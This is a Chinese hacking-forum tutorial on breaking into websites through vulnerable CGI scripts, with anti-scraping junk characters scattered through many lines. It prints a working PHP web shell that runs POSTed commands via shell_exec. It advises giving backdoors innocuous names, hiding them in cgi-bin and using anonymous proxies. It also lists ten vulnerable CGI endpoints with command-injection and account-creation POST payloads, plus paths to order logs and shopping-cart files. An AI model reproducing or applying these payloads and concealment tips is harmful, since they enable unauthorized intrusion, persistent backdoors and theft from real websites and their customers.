CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
8 b3 w5 {+ ?: ~; q大家好 我是bboyhip  只是一名菜菜的exploiter
很开心来到贵论坛
3 m. G( i+ \$ L" F6 U- P这里让我感觉 很有技术交流的感觉
4 }: _5 X  T; {3 W我会长长来玩的
( Y* J5 M& v7 }7 \( i# K前言:
以下讲解针对欧美日本网站
當我們在做滲透分析的時候 方法有很多
8 `5 P1 B1 R2 w我门都知道 国外伺服器大多是linux 平台
! }! p8 \4 Y4 d6 A+ g' X  t所以有很多网站程序有6成都会使用cgi 脚本来管理
目录为/cgi-bin/

只是个人在实务上一些经验
写的不好 请多多见谅喔
% v% t9 C3 e- e7 @! @1 j在这里我简单分为几个部份一定要會的
讲解一下
9 }2 ^$ N4 x/ q7 c0 b让没有基础的人很容易上手
, G  k/ @* s% N4 q* w) c3 L
以下内容跟帖回复才能看到
) e, K3 Q$ Z" P# E5 `, y==============================

第1部份: 何谓Shell?
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
A shell is the program which reads user input from the command line and executes actions based upon that input.
1 V' H' _8 d$ c) a* d$ ?意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.

对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
6 b2 n7 K, f3 E& \' i8 w要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
% e3 [' A; n6 ]' N2 Y: Q% O3 f所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
) a& e1 H6 l) C8 M9 G* i
: w+ i( D" g' q' [第2部份: Unix 指令
* C, E  R* I9 u5 x6 D4 g4 s& q. b以下是一些常见及重要的指令:
3 Z5 Q8 b) H% x( t0 bpwd: 显示当前目录, 即是後门/程式所在的位置
( {2 @5 J% }: @) M# ]2 {, `如 /home/www/site.com/cgi-bin/
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
ls -al :详细列出档案资料(当前目录)
ls /: 列出根目录
ls /etc: 列出/etc的资料夹及档案
" q1 ?( @8 k0 g: [5 Z, o$ x& @0 l8 b6 jls ../ -al: 详细列出上一层的资料夹及档案
cat: 显示档案内容
# q" Q6 J8 N( a' I, Scat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
who: 显示谁login 至系统
' d; [* a5 o; ^8 t/ ]% n. eman: 显示指令用法  
% z4 Q8 _5 C0 Tman ls: 显示ls这指令的用法  
mkdir 建立目录
: f9 f6 N2 J6 Q8 t: [rmdir 删除目录
7 |5 W' s# B3 k# m# ymv 移动档案
rm 删除档案
! S3 h, Z" F" g, V+ \
7 B9 ]# ^% y8 b# \- u' q% H7 n% E0 d0 i第3部份: Shell的使用
4 D; D( q& v+ E  e) s例如:
http://site.com/refer.php
8 H- `* p' B2 a  d! C2 z. |; J这是我的後门, 原代码如下:
- Q) g2 o/ y' M* p8 \% x<Form Action="#" Method="POST">
& b- W: b. |8 _5 x- c<Input type="text" name="cmd">
<Input type="Submit">
</Form>
& S! p7 |  S9 Z7 C+ p% ^) x7 n& H<?php
3 {# c- g5 T4 l: |. j$cmd = $_POST['cmd'];
' t! w. g& g8 C9 X  i* Z$Output = shell_exec($cmd);
echo $Output;
* a. Z' v8 ]7 J. y4 I?>
输入pwd, 可得到绝对路径:
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com

第4部份: 注意事项
4 b4 f0 X! x& ?  J( O- 使用匿名代理, 保障自己
: F7 z& T1 Y1 U; H) `/ A( P6 j; U% m/ T- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
, {6 p: Q/ w7 p& C& C- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
% L2 b; n! Y: d+ |2 I- F& P- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
不容易被发现.
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
$ ?  O( ~- Q( r8 s$ ?$ q针对网站的渗透分析方法太多了
这篇文章的重点是cgi 脚本攻击
3 _% |3 g6 x: h所以我用简单的叙述形容
3 y  Q+ E7 n, f, m开始讲解脚本入侵过程:
在这里提供一些方法思路让大家学习一下
) L- C1 B; O' p) a7 ?
1.一开始对一个网站进行cgi漏洞扫描
- ?! X4 q/ x$ K7 r& H% \我们需要的东西有
. Q' T% P9 H4 O: r0 o扫洞工具 如:triton..等等
E表
如
, R& ~& j- Q4 `4 o* v" {/cgi-bin/add-passwd.cgi
( M) C# O2 V  ?$ Q5 O/WebShop/templates/cc.txt
/Admin_files/order.log
) W, f% O) }* P& v/orders/mountain.cfg
* K# P3 r- G2 _- k# ?/cgi-sys/cart.pl
/scripts/cart.pl
. R. A1 v; D! L; c5 o% R/htbin/cart.pl
1 K+ q) t5 }) v- R7 f- RE表来源可以是网路收寻或是自己的0 day
- c! R: K% p2 b
2 T" e: o0 V' Y9 t+ l2.怎样确认扫到的洞 是真的还假的?
举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
一般都是在IE里先看一下的,记住这个返回码哦
ERROR:This script should be referenced with a METHOD of POST.
没有返回一定是假的
3.重来来了 很多人都会问我
# H* b2 \4 ?/ L% }2 U! ~他扫到很多洞 但是不会使用
因为这些漏洞 使用的语法 称为post
* P; _* h5 w/ m8 o3 L( E我们要找post 的方法很多
6 h  g( F3 g: g  J, g2 S可以是源代码分析 找出介质
或是用抓包工具 抓他的语法...等等
, D6 e! k9 r' v/ s5 K3 E
5 b* S/ ?( z4 n# l" U7 Q, J/ E以下我提供10个 cgi 洞以及使用方法post
% p( M1 M& H0 Y3 n' J让大家可以针对网站去做扫描  
/index.cgi
wei=ren&gen=command
  o( m( |$ s% V, M/passmaster.cgi
, a" P$ K3 ^9 i. Q; ?9 lAction=Add&Username=Username&Password=Password
/accountcreate.cgi
7 |# R6 d% q+ m7 c3 busername=username&password=password&ref1=|echo;ls|
( A6 n: P  y1 s2 |7 x, Q/form.cgi
, r2 Y& l$ `: r# {name=xxxx&email=email&subject=xxxx&response=|echo;ls|
2 m3 ?. x; G) B% T, h, F, a/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
0 G; X- i7 b% p8 a# O& w' \  I+ cuser=username&pass=Password&confirm=Password
/ccbill-local.asp
- o' m" v" G/ Z6 A2 H6 dpost_values=username:password
/count.cgi
pinfile=|echo;ls -la;exit|
! d: g6 J) H4 n/recon.cgi
+ {* E& B+ ?. ~/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
$ Z5 s% Q+ }  Q% v; |/verotelrum.pl
8 }4 n8 o( @: ~5 f/ g2 h! vvercode=username:password:dseegsow:add:amount<&30>
/af.cgi_browser_out=|echo;ls -la;exit;|

0 U6 P% I. I2 ?9 ?! `今天就讲到这  感谢大家支持
4 f" g  \! o, f" t( ]; W+ h